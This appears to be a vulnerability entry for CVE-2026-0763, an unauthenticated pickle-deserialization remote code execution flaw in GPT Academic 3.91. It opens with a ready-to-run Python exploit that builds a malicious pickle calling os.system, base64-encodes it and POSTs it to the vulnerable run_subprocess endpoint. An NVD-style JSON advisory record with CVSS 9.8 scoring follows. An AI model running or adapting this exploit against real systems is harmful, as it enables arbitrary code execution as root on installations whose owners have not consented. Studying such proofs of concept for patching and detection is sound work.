CVE-2026-0763

import pickle import base64 import requests # Generate malicious pickle payload for RCE class RCE: def __reduce__(self): cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) # For Python 3.x import os payload = pickle.dumps(RCE()) encoded_payload = base64.b64encode(payload).decode() # Send the payload to vulnerable endpoint target_url = "http://target:5000/run_subprocess" data = { "data": encoded_payload } try: response = requests.post(target_url, json=data, timeout=10) print(f"Payload sent. Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

{"cve": {"id": "CVE-2026-0763", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:03.110", "lastModified": "2026-02-18T16:42:19.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GPT Academic run_in_subprocess_wrapper_func Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GPT Academic. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the run_in_subprocess_wrapper_func function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27958."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por deserialización de datos no confiables en GPT Academic run_in_subprocess_wrapper_func. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de GPT Academic. No se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la función run_in_subprocess_wrapper_func. El problema se debe a la falta de validación adecuada de los datos proporcionados por el usuario, lo que puede resultar en la deserialización de datos no confiables. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de root. Fue ZDI-CAN-27958."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:binary-husky:gpt_academic:3.91:*:*:*:*:*:*:*", "matchCriteriaId": "E6552037-FD85-48BB-A474-C85A10783308"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-029/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}